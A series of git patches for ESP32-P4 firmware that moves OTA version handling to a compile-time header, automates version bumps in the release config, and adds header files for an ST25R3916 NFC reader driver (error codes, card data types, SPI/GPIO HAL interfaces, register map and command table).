From 1442dbbfe55e919bba70a8274a19ec1cc2c27a8e Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 18 Mar 2026 12:48:24 -0300 Subject: [PATCH 01/61] fix(bridge_manager): uses FIRMWARE_VERSION, removed cJSON, more cleaner --- .../Service/bridge_manager/bridge_manager.c | 41 ++----------------- 1 file changed, 4 insertions(+), 37 deletions(-) diff --git a/firmware_p4/components/Service/bridge_manager/bridge_manager.c b/firmware_p4/components/Service/bridge_manager/bridge_manager.c index 90130ff7..0a0c1ffb 100644 --- a/firmware_p4/components/Service/bridge_manager/bridge_manager.c +++ b/firmware_p4/components/Service/bridge_manager/bridge_manager.c @@ -1,48 +1,15 @@ #include "bridge_manager.h" #include "spi_bridge.h" #include "c5_flasher.h" -#include "storage_assets.h" +#include "ota_version.h" #include "esp_log.h" -#include "cJSON.h" #include -#include static const char *TAG = "BRIDGE_MGR"; -#define VERSION_JSON_PATH "config/OTA/firmware.json" - -static char s_expected_version[32] = "unknown"; - -static void load_expected_version(void) { - size_t size; - uint8_t *json_data = storage_assets_load_file(VERSION_JSON_PATH, &size); - if (json_data == NULL) { - ESP_LOGW(TAG, "Could not read firmware.json, using fallback version"); - return; - } - - cJSON *root = cJSON_ParseWithLength((const char *)json_data, size); - free(json_data); - - if (root == NULL) { - ESP_LOGE(TAG, "Failed to parse firmware.json"); - return; - } - - cJSON *version = cJSON_GetObjectItem(root, "version"); - if (cJSON_IsString(version) && version->valuestring != NULL) { - strncpy(s_expected_version, version->valuestring, sizeof(s_expected_version) - 1); - s_expected_version[sizeof(s_expected_version) - 1] = '\0'; - } - - cJSON_Delete(root); -} - esp_err_t bridge_manager_init(void) { ESP_LOGI(TAG, "Initializing Bridge Manager..."); - - load_expected_version(); - ESP_LOGI(TAG, "Expected C5 version: %s", s_expected_version); + ESP_LOGI(TAG, "Expected C5 version: %s", FIRMWARE_VERSION); // 1. Init SPI Master if (spi_bridge_master_init() != ESP_OK) { @@ -64,8 +31,8 @@ esp_err_t bridge_manager_init(void) { ESP_LOGW(TAG, "C5 not responding. Assuming recovery needed."); needs_update = true; } else { - ESP_LOGI(TAG, "C5 Version: %s (Expected: %s)", resp_ver, s_expected_version); - if (strcmp((char*)resp_ver, s_expected_version) != 0) { + ESP_LOGI(TAG, "C5 Version: %s (Expected: %s)", resp_ver, FIRMWARE_VERSION); + if (strcmp((char*)resp_ver, FIRMWARE_VERSION) != 0) { needs_update = true; } } From e229b5970b63b99815e96b9a489e0d173ea39774 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 18 Mar 2026 12:49:04 -0300 Subject: [PATCH 02/61] feat(ota): header file responsible by identify actual firmware version --- firmware_p4/components/Service/ota/include/ota_version.h | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 firmware_p4/components/Service/ota/include/ota_version.h diff --git a/firmware_p4/components/Service/ota/include/ota_version.h b/firmware_p4/components/Service/ota/include/ota_version.h new file mode 100644 index 00000000..5daaaa7b --- /dev/null +++ b/firmware_p4/components/Service/ota/include/ota_version.h @@ -0,0 +1,6 @@ +#ifndef OTA_VERSION_H +#define OTA_VERSION_H + +#define FIRMWARE_VERSION "0.1.0" + +#endif // OTA_VERSION_H From 3c89a8764cb3cbf7b0fed6d085bf64268d7163e0 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 18 Mar 2026 12:49:42 -0300 Subject: [PATCH 03/61] chore(ota): sync actual version to no get old version inside .json file --- .../components/Service/ota/ota_service.c | 45 +++++++++---------- 1 file changed, 22 insertions(+), 23 deletions(-) diff --git a/firmware_p4/components/Service/ota/ota_service.c b/firmware_p4/components/Service/ota/ota_service.c index b6fc3c1c..44c85a9f 100644 --- a/firmware_p4/components/Service/ota/ota_service.c +++ b/firmware_p4/components/Service/ota/ota_service.c @@ -13,6 +13,7 @@ // limitations under the License. #include "ota_service.h" +#include "ota_version.h" #include "bridge_manager.h" #include "storage_assets.h" #include "sd_card_init.h" @@ -31,41 +32,34 @@ static const char *TAG = "OTA_SERVICE"; #define VERSION_JSON_PATH "config/OTA/firmware.json" static ota_state_t s_state = OTA_STATE_IDLE; -static char s_current_version[32] = "unknown"; -static void load_version_from_assets(void) { +const char* ota_get_current_version(void) { + return FIRMWARE_VERSION; +} + +static void sync_version_to_assets(void) { size_t size; uint8_t *json_data = storage_assets_load_file(VERSION_JSON_PATH, &size); - if (json_data == NULL) { - ESP_LOGW(TAG, "Could not read firmware.json from assets"); - return; - } + if (json_data == NULL) return; cJSON *root = cJSON_ParseWithLength((const char *)json_data, size); free(json_data); - - if (root == NULL) { - ESP_LOGE(TAG, "Failed to parse firmware.json"); - return; - } + if (root == NULL) return; cJSON *version = cJSON_GetObjectItem(root, "version"); - if (cJSON_IsString(version) && version->valuestring != NULL) { - strncpy(s_current_version, version->valuestring, sizeof(s_current_version) - 1); - s_current_version[sizeof(s_current_version) - 1] = '\0'; - ESP_LOGI(TAG, "Current firmware version: %s", s_current_version); + if (cJSON_IsString(version) && strcmp(version->valuestring, FIRMWARE_VERSION) != 0) { + cJSON_SetValuestring(version, FIRMWARE_VERSION); + char *updated_json = cJSON_PrintUnformatted(root); + if (updated_json) { + storage_assets_write_file(VERSION_JSON_PATH, updated_json); + ESP_LOGI(TAG, "Updated firmware.json in assets to v%s", FIRMWARE_VERSION); + free(updated_json); + } } cJSON_Delete(root); } -const char* ota_get_current_version(void) { - if (strcmp(s_current_version, "unknown") == 0) { - load_version_from_assets(); - } - return s_current_version; -} - ota_state_t ota_get_state(void) { return s_state; } @@ -260,9 +254,14 @@ esp_err_t ota_post_boot_check(void) { // Everything OK — confirm the update esp_ota_mark_app_valid_cancel_rollback(); - ESP_LOGI(TAG, "Firmware update confirmed. Version: %s", s_current_version); + ESP_LOGI(TAG, "Firmware update confirmed. Version: %s", FIRMWARE_VERSION); + + // Update firmware.json in assets partition to match the new binary version + sync_version_to_assets(); } else { ESP_LOGI(TAG, "Normal boot (no pending OTA verification)"); + // Sync version on normal boot too (in case it was missed) + sync_version_to_assets(); } return ESP_OK; From 22e1d41e462fbdaab1e2aea7088ffa8b157a72e5 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Wed, 18 Mar 2026 12:50:14 -0300 Subject: [PATCH 04/61] chore(release): alter release to automate version without manual intervention --- .releaserc.json | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.releaserc.json b/.releaserc.json index 38ae98ca..27a4128b 100644 --- a/.releaserc.json +++ b/.releaserc.json @@ -20,13 +20,14 @@ "changelogFile": "CHANGELOG.md" }], ["@semantic-release/exec", { - "prepareCmd": "sed -i 's/\"version\": *\"[^\"]*\"/\"version\": \"${nextRelease.version}\"/' firmware_p4/assets/config/OTA/firmware.json firmware_c5/assets/config/OTA/firmware.json" + "prepareCmd": "sed -i 's/\"version\": *\"[^\"]*\"/\"version\": \"${nextRelease.version}\"/' firmware_p4/assets/config/OTA/firmware.json firmware_c5/assets/config/OTA/firmware.json && sed -i 's/#define FIRMWARE_VERSION \"[^\"]*\"/#define FIRMWARE_VERSION \"${nextRelease.version}\"/' firmware_p4/components/Service/ota/include/ota_version.h" }], ["@semantic-release/git", { "assets": [ "CHANGELOG.md", "firmware_p4/assets/config/OTA/firmware.json", - "firmware_c5/assets/config/OTA/firmware.json" + "firmware_c5/assets/config/OTA/firmware.json", + "firmware_p4/components/Service/ota/include/ota_version.h" ], "message": "chore(release): v${nextRelease.version}" }], From 2e2b13be69f8fc2b0a7fec6415a80deae02c7c32 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:00:08 -0300 Subject: [PATCH 05/61] feat(nfc): add shared error codes for NFC driver --- .../st25r3916/include/highboy_nfc_error.h | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h new file mode 100644 index 00000000..a5fc1875 --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_error.h @@ -0,0 +1,35 @@ +/** + * @file highboy_nfc_error.h + * @brief High Boy NFC Error codes. + */ +#ifndef HIGHBOY_NFC_ERROR_H +#define HIGHBOY_NFC_ERROR_H + +typedef enum { + HB_NFC_OK = 0, + + HB_NFC_ERR_SPI_INIT = 0x01, + HB_NFC_ERR_SPI_XFER = 0x02, + HB_NFC_ERR_GPIO = 0x03, + HB_NFC_ERR_TIMEOUT = 0x04, + + HB_NFC_ERR_CHIP_ID = 0x20, + HB_NFC_ERR_FIFO_OVR = 0x21, + HB_NFC_ERR_FIELD = 0x22, + + HB_NFC_ERR_NO_CARD = 0x40, + HB_NFC_ERR_NOT_FOUND = 0x47, + HB_NFC_ERR_CRC = 0x41, + HB_NFC_ERR_COLLISION = 0x42, + HB_NFC_ERR_NACK = 0x43, + HB_NFC_ERR_AUTH = 0x44, + HB_NFC_ERR_PROTOCOL = 0x45, + HB_NFC_ERR_TX_TIMEOUT = 0x46, + + HB_NFC_ERR_PARAM = 0xFE, + HB_NFC_ERR_INTERNAL = 0xFF, +} hb_nfc_err_t; + +const char* hb_nfc_err_str(hb_nfc_err_t err); + +#endif From f7e861c4687a6a8d4c0ea08347a0ce24c3a8c159 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:00:33 -0300 Subject: [PATCH 06/61] feat(nfc): add shared NFC data types --- .../st25r3916/include/highboy_nfc_types.h | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h new file mode 100644 index 00000000..df19884c --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc_types.h @@ -0,0 +1,90 @@ +/** + * @file highboy_nfc_types.h + * @brief High Boy NFC Shared data types. + */ +#ifndef HIGHBOY_NFC_TYPES_H +#define HIGHBOY_NFC_TYPES_H + +#include +#include +#include + +#define NFC_UID_MAX_LEN 10 +#define NFC_ATS_MAX_LEN 64 +#define NFC_FIFO_MAX_LEN 512 + +typedef struct { + uint8_t uid[NFC_UID_MAX_LEN]; + uint8_t uid_len; + uint8_t atqa[2]; + uint8_t sak; +} nfc_iso14443a_data_t; + +typedef struct { + uint8_t ats[NFC_ATS_MAX_LEN]; + size_t ats_len; + uint8_t fsc; + uint8_t fwi; +} nfc_iso_dep_data_t; + +typedef struct { + uint8_t pupi[4]; + uint8_t app_data[4]; + uint8_t prot_info[3]; +} nfc_iso14443b_data_t; + +typedef struct { + uint8_t idm[8]; + uint8_t pmm[8]; +} nfc_felica_data_t; + +typedef struct { + uint8_t uid[8]; + uint8_t dsfid; + uint16_t block_count; + uint8_t block_size; +} nfc_iso15693_data_t; + +typedef enum { + MF_KEY_A = 0x60, + MF_KEY_B = 0x61, +} mf_key_type_t; + +typedef struct { + uint8_t data[6]; +} mf_classic_key_t; + +typedef enum { + MF_CLASSIC_MINI = 0, + MF_CLASSIC_1K, + MF_CLASSIC_4K, +} mf_classic_type_t; + +typedef enum { + HB_PROTO_ISO14443_3A = 0, + HB_PROTO_ISO14443_3B, + HB_PROTO_ISO14443_4A, + HB_PROTO_ISO14443_4B, + HB_PROTO_FELICA, + HB_PROTO_ISO15693, + HB_PROTO_ST25TB, + HB_PROTO_MF_CLASSIC, + HB_PROTO_MF_ULTRALIGHT, + HB_PROTO_MF_DESFIRE, + HB_PROTO_MF_PLUS, + HB_PROTO_SLIX, + HB_PROTO_UNKNOWN = 0xFF, +} hb_nfc_protocol_t; + +typedef struct { + hb_nfc_protocol_t protocol; + nfc_iso14443a_data_t iso14443a; + union { + nfc_iso_dep_data_t iso_dep; + nfc_iso14443b_data_t iso14443b; + nfc_felica_data_t felica; + nfc_iso15693_data_t iso15693; + }; +} hb_nfc_card_data_t; + +#endif From 7b0ea293f8665762da18e3d416ff54fec3e84d19 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:01:13 -0300 Subject: [PATCH 07/61] feat(nfc): add public API header and default config --- .../Drivers/st25r3916/include/highboy_nfc.h | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h diff --git a/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h new file mode 100644 index 00000000..7c823948 --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/include/highboy_nfc.h @@ -0,0 +1,49 @@ +/** + * @file highboy_nfc.h + * @brief High Boy NFC Library Public API. + * + * Proven working config (ESP32-P4 + ST25R3916): + * MOSI=18, MISO=19, SCK=17, CS=3, IRQ=8 + * SPI Mode 1, 500 kHz, cs_ena_pretrans=1, cs_ena_posttrans=1 + */ +#ifndef HIGHBOY_NFC_H +#define HIGHBOY_NFC_H + +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +typedef struct { + + int pin_mosi; + int pin_miso; + int pin_sclk; + int pin_cs; + + int pin_irq; + + int spi_host; + int spi_mode; + uint32_t spi_clock_hz; +} highboy_nfc_config_t; + +#define HIGHBOY_NFC_CONFIG_DEFAULT() { \ + .pin_mosi = 18, \ + .pin_miso = 19, \ + .pin_sclk = 17, \ + .pin_cs = 3, \ + .pin_irq = 8, \ + .spi_host = 2, \ + .spi_mode = 1, \ + .spi_clock_hz = 500000, \ +} + +hb_nfc_err_t highboy_nfc_init(const highboy_nfc_config_t* config); +void highboy_nfc_deinit(void); +hb_nfc_err_t highboy_nfc_ping(uint8_t* chip_id); + +hb_nfc_err_t highboy_nfc_field_on(void); +void highboy_nfc_field_off(void); +uint8_t highboy_nfc_measure_amplitude(void); +bool highboy_nfc_field_detected(uint8_t* aux_display); + +#endif From 216d1e2b83273edea6d739d2a6f6549ca6cfdfe0 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:01:35 -0300 Subject: [PATCH 08/61] feat(nfc): add GPIO IRQ pin abstraction --- .../st25r3916/hal/include/hb_nfc_gpio.h | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h new file mode 100644 index 00000000..5979d979 --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_gpio.h @@ -0,0 +1,24 @@ +/** + * @file hb_nfc_gpio.h + * @brief HAL GPIO IRQ pin monitoring. + * + * The working code uses GPIO polling (not ISR) for IRQ. + * We provide both: polling (proven) and ISR (optional upgrade). + */ +#ifndef HB_NFC_GPIO_H +#define HB_NFC_GPIO_H + +#include +#include +#include "highboy_nfc_error.h" + +hb_nfc_err_t hb_gpio_init(int pin_irq); +void hb_gpio_deinit(void); + +/** Read IRQ pin level directly (0 or 1). Proven approach. */ +int hb_gpio_irq_level(void); + +/** Wait for IRQ pin high with timeout (ms). Returns true if IRQ seen. */ +bool hb_gpio_irq_wait(uint32_t timeout_ms); + +#endif From 48830849df52f3657e3d27b2208cdd627e0888b5 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:02:04 -0300 Subject: [PATCH 09/61] feat(nfc): add SPI communication interface --- .../st25r3916/hal/include/hb_nfc_spi.h | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h new file mode 100644 index 00000000..4483c19f --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_spi.h @@ -0,0 +1,49 @@ +/** + * @file hb_nfc_spi.h + * @brief HAL SPI register/FIFO/command access for ST25R3916. + * + * SPI protocol (proven from working code): + * Read: TX [0x40 | addr] [0x00] data in RX[1] + * Write: TX [addr & 0x3F] [data] + * FIFO LD: TX [0x80] [data...] + * FIFO RD: TX [0x9F] [0x00...] data in RX[1+] + * Cmd: TX [cmd_byte] (single byte) + */ +#ifndef HB_NFC_SPI_H +#define HB_NFC_SPI_H + +#include +#include +#include "highboy_nfc_error.h" + +hb_nfc_err_t hb_spi_init(int spi_host, int mosi, int miso, int sclk, + int cs, int mode, uint32_t clock_hz); +void hb_spi_deinit(void); + +hb_nfc_err_t hb_spi_reg_read(uint8_t addr, uint8_t* value); +hb_nfc_err_t hb_spi_reg_write(uint8_t addr, uint8_t value); +hb_nfc_err_t hb_spi_reg_modify(uint8_t addr, uint8_t mask, uint8_t value); + +hb_nfc_err_t hb_spi_fifo_load(const uint8_t* data, size_t len); +hb_nfc_err_t hb_spi_fifo_read(uint8_t* data, size_t len); + +hb_nfc_err_t hb_spi_direct_cmd(uint8_t cmd); + +/** + * ST25R3916 Passive Target Memory write. + * Used to configure ATQA/UID/SAK for card emulation. + * TX: [prefix] [data0] [data1] ... [dataN] + * @param prefix 0xA0=PT_MEM_A (NFC-A), 0xA8=PT_MEM_F, 0xAC=PT_MEM_TSN + */ +hb_nfc_err_t hb_spi_pt_mem_write(uint8_t prefix, const uint8_t* data, size_t len); + +/** ST25R3916 Passive Target Memory read (prefix 0xBF). */ +hb_nfc_err_t hb_spi_pt_mem_read(uint8_t* data, size_t len); + +/** + * Raw multi-byte SPI transfer. + * Used for custom framing (e.g. manual parity in target mode). + */ +hb_nfc_err_t hb_spi_raw_xfer(const uint8_t* tx, uint8_t* rx, size_t len); + +#endif From c4ae7cf313a3eb6295947f6850332c0fce11c379 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:02:21 -0300 Subject: [PATCH 10/61] feat(nfc): add microsecond busy-wait timer --- .../st25r3916/hal/include/hb_nfc_timer.h | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h diff --git a/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h new file mode 100644 index 00000000..6793f4d5 --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/hal/include/hb_nfc_timer.h @@ -0,0 +1,19 @@ +/** + * @file hb_nfc_timer.h + * @brief HAL Timer delay utilities. + * + * The working code uses esp_rom_delay_us() for all timing. + * We wrap it for portability. + */ +#ifndef HB_NFC_TIMER_H +#define HB_NFC_TIMER_H + +#include + +/** Busy-wait delay in microseconds. Uses ROM function (proven). */ +void hb_delay_us(uint32_t us); + +/** Busy-wait delay in milliseconds. */ +void hb_delay_ms(uint32_t ms); + +#endif From 1dff6050e4e333ada26c8b021660c5683fb72324 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:02:52 -0300 Subject: [PATCH 11/61] feat(nfc): add SPI/GPIO/timer HAL implementation for ESP32-P4 --- .../Drivers/st25r3916/include/st25r3916_reg.h | 91 +++++++++---------- 1 file changed, 43 insertions(+), 48 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h index 61b465a5..e78aaced 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_reg.h @@ -1,17 +1,11 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_reg.h + * @brief ST25R3916 Register Map. + * + * All addresses verified against the working code that + * successfully reads IC Identity = 0x15 and communicates + * with ISO14443A cards. + */ #ifndef ST25R3916_REG_H #define ST25R3916_REG_H @@ -51,8 +45,8 @@ #define REG_PASSIVE_TARGET_STS 0x21 #define REG_NUM_TX_BYTES1 0x22 #define REG_NUM_TX_BYTES2 0x23 -#define REG_AD_RESULT 0x24 -#define REG_ANT_TUNE_CTRL 0x25 +#define REG_BIT_RATE_DET 0x24 +#define REG_AD_RESULT 0x25 #define REG_ANT_TUNE_A 0x26 #define REG_ANT_TUNE_B 0x27 #define REG_TX_DRIVER 0x28 @@ -71,12 +65,15 @@ #define REG_UNDERSHOOT_CONF2 0x35 #define REG_IC_IDENTITY 0x3F -/* ── Key Bit Definitions ── */ -#define OP_CTRL_EN (1 << 7) -#define OP_CTRL_RX_EN (1 << 6) -#define OP_CTRL_TX_EN (1 << 3) -#define OP_CTRL_FIELD_ON 0xC8 +#define OP_CTRL_EN (1 << 7) +#define OP_CTRL_RX_EN (1 << 6) +#define OP_CTRL_TX_EN (1 << 3) +#define OP_CTRL_FIELD_ON 0xC8 +/* REG_MODE technology bitmask (not an encoded field): + * bit 3 (0x08) = NFC-A bit 4 (0x10) = NFC-B + * bit 5 (0x20) = NFC-F bits4+5 (0x30) = NFC-V + * bit 7 (0x80) = target mode 0x88 = NFC-A target */ #define MODE_POLL_NFCA 0x08 #define MODE_POLL_NFCB 0x10 #define MODE_POLL_NFCF 0x20 @@ -84,52 +81,50 @@ #define MODE_TARGET 0x80 #define MODE_TARGET_NFCA 0x88 -#define PT_D_106_AC_A 0x01 -#define PT_D_212_424_1_AC_F 0x02 -#define PT_D_AP2P_AC 0x04 -#define PT_RFU 0x00 +#define PT_D_106_AC_A 0x01 +#define PT_D_212_424_1_AC_F 0x02 +#define PT_D_AP2P_AC 0x04 +#define PT_RFU 0x00 #define ISO14443A_ANTCL 0x01 -#define ISO14443A_NO_TX_PAR 0x80 -#define ISO14443A_NO_RX_PAR 0x40 +#define ISO14443A_NO_TX_PAR 0x80 +#define ISO14443A_NO_RX_PAR 0x40 #define IRQ_MAIN_OSC (1 << 7) #define IRQ_MAIN_FWL (1 << 4) -#define IRQ_MAIN_TXE (1 << 3) +#define IRQ_MAIN_TXE (1 << 3) #define IRQ_MAIN_RXS (1 << 5) #define IRQ_MAIN_RXE (1 << 2) #define IRQ_MAIN_COL (1 << 1) -/* IC Identity parsing */ #define IC_TYPE_MASK 0xF8 #define IC_TYPE_SHIFT 3 #define IC_REV_MASK 0x07 -/* REG_TARGET_INT (0x1D) bits */ -#define IRQ_TGT_WU_A (1 << 7) -#define IRQ_TGT_WU_A_X (1 << 6) -#define IRQ_TGT_WU_F (1 << 5) +/* IC type observed on ST25R3916 hardware (IC_IDENTITY = 0x15 → type = 0x02). + * ST25R3916B returns a different type and uses a different command table. */ +#define ST25R3916_IC_TYPE_EXP 0x02 + +#define IRQ_TGT_WU_A (1 << 7) +#define IRQ_TGT_WU_A_X (1 << 6) +#define IRQ_TGT_WU_F (1 << 5) #define IRQ_TGT_RFU4 (1 << 4) -#define IRQ_TGT_OSCF (1 << 3) -#define IRQ_TGT_SDD_C (1 << 2) +#define IRQ_TGT_OSCF (1 << 3) +#define IRQ_TGT_SDD_C (1 << 2) #define IRQ_TGT_RFU1 (1 << 1) #define IRQ_TGT_RFU0 (1 << 0) -/* REG_MASK_TARGET_INT (0x19) */ -#define IRQ_TGT_MASK_NONE 0xFF -#define IRQ_TGT_MASK_ALL 0x00 +#define IRQ_TGT_MASK_NONE 0xFF +#define IRQ_TGT_MASK_ALL 0x00 -/* REG_FIELD_THRESH_ACT (0x2A) */ -#define FIELD_THRESH_ACT_TRG 0x09 +#define FIELD_THRESH_ACT_TRG 0x09 -/* REG_FIELD_THRESH_DEACT (0x2B) */ -#define FIELD_THRESH_DEACT_TRG 0x05 +#define FIELD_THRESH_DEACT_TRG 0x05 -/* ── SPI Passive Target Memory Prefixes ── */ -#define SPI_PT_MEM_A_WRITE 0xA0 -#define SPI_PT_MEM_F_WRITE 0xA8 -#define SPI_PT_MEM_TSN_WRITE 0xAC -#define SPI_PT_MEM_READ 0xBF -#define SPI_PT_MEM_A_LEN 15 +#define SPI_PT_MEM_A_WRITE 0xA0 +#define SPI_PT_MEM_F_WRITE 0xA8 +#define SPI_PT_MEM_TSN_WRITE 0xAC +#define SPI_PT_MEM_READ 0xBF +#define SPI_PT_MEM_A_LEN 15 #endif From 0486c3af9a5ea4a17501a0648cb0a10a3af69ea6 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:03:21 -0300 Subject: [PATCH 12/61] feat(st25r3916): add direct command table --- .../Drivers/st25r3916/include/st25r3916_cmd.h | 90 +++++++++---------- 1 file changed, 42 insertions(+), 48 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h index 9200594d..b3e92bf9 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_cmd.h @@ -1,69 +1,63 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_cmd.h + * @brief ST25R3916 Direct Commands. + * + * v5 FIX: Command codes verified against ST25R3916 + * datasheet DocID 031020 Rev 3, Table 19. + * + * BUGS FIXED from v4: + * - CMD_MEAS_AMPLITUDE was 0xD8, correct = 0xD3 + * - CMD_CALIBRATE_DRIVER was 0xD7, correct = 0xD8 + * - Several other measurement/timer codes off-by-one + * - Added missing target-mode commands + * + * NOTE: These are for ST25R3916 (IC type 0x02, IC_IDENTITY = 0x15). + * ST25R3916B returns a different IC type and has a different command table. + */ #ifndef ST25R3916_CMD_H #define ST25R3916_CMD_H -/* ── Core Commands ── */ -#define CMD_SET_DEFAULT 0xC0 +#define CMD_SET_DEFAULT 0xC0 #define CMD_CLEAR 0xC2 #define CMD_TX_WITH_CRC 0xC4 #define CMD_TX_WO_CRC 0xC5 -#define CMD_TX_REQA 0xC6 -#define CMD_TX_WUPA 0xC7 -#define CMD_NFC_INITIAL_RF_COL 0xC8 -#define CMD_NFC_RESPONSE_RF_COL 0xC9 +#define CMD_TX_REQA 0xC6 +#define CMD_TX_WUPA 0xC7 +#define CMD_NFC_INITIAL_RF_COL 0xC8 +#define CMD_NFC_RESPONSE_RF_COL 0xC9 #define CMD_NFC_RESPONSE_RF_N 0xCA -#define CMD_GOTO_SENSE 0xCD +#define CMD_GOTO_SENSE 0xCD #define CMD_GOTO_SLEEP 0xCE -/* Legacy aliases */ #define CMD_STOP_ALL CMD_CLEAR -#define CMD_CLEAR_FIFO CMD_CLEAR +#define CMD_CLEAR_FIFO CMD_CLEAR -/* ── Data/Modulation Commands ── */ -#define CMD_MASK_RX_DATA 0xD0 -#define CMD_UNMASK_RX_DATA 0xD1 -#define CMD_AM_MOD_STATE_CHG 0xD2 -#define CMD_MEAS_AMPLITUDE 0xD3 -#define CMD_RESET_RX_GAIN 0xD5 -#define CMD_ADJUST_REGULATORS 0xD6 +#define CMD_MASK_RX_DATA 0xD0 +#define CMD_UNMASK_RX_DATA 0xD1 +#define CMD_AM_MOD_STATE_CHG 0xD2 +#define CMD_MEAS_AMPLITUDE 0xD3 +#define CMD_RESET_RX_GAIN 0xD5 +#define CMD_ADJUST_REGULATORS 0xD6 -/* ── Calibration/Measurement ── */ -#define CMD_CALIBRATE_DRIVER 0xD8 -#define CMD_MEAS_PHASE 0xD9 -#define CMD_CLEAR_RSSI 0xDA -#define CMD_TRANSPARENT_MODE 0xDB -#define CMD_CALIBRATE_C_SENSOR 0xDC -#define CMD_MEAS_CAPACITANCE 0xDD -#define CMD_MEAS_VDD 0xDE +#define CMD_CALIBRATE_DRIVER 0xD8 +#define CMD_MEAS_PHASE 0xD9 +#define CMD_CLEAR_RSSI 0xDA +#define CMD_TRANSPARENT_MODE 0xDB +#define CMD_CALIBRATE_C_SENSOR 0xDC +#define CMD_MEAS_CAPACITANCE 0xDD +#define CMD_MEAS_VDD 0xDE -/* ── Timer Commands (0xDF-0xE3) ── */ -#define CMD_START_GP_TIMER 0xDF -#define CMD_START_WU_TIMER 0xE0 -#define CMD_START_MASK_RX_TIMER 0xE1 -#define CMD_START_NRT 0xE2 -#define CMD_START_PPON2_TIMER 0xE3 +#define CMD_START_GP_TIMER 0xDF +#define CMD_START_WU_TIMER 0xE0 +#define CMD_START_MASK_RX_TIMER 0xE1 +#define CMD_START_NRT 0xE2 +#define CMD_START_PPON2_TIMER 0xE3 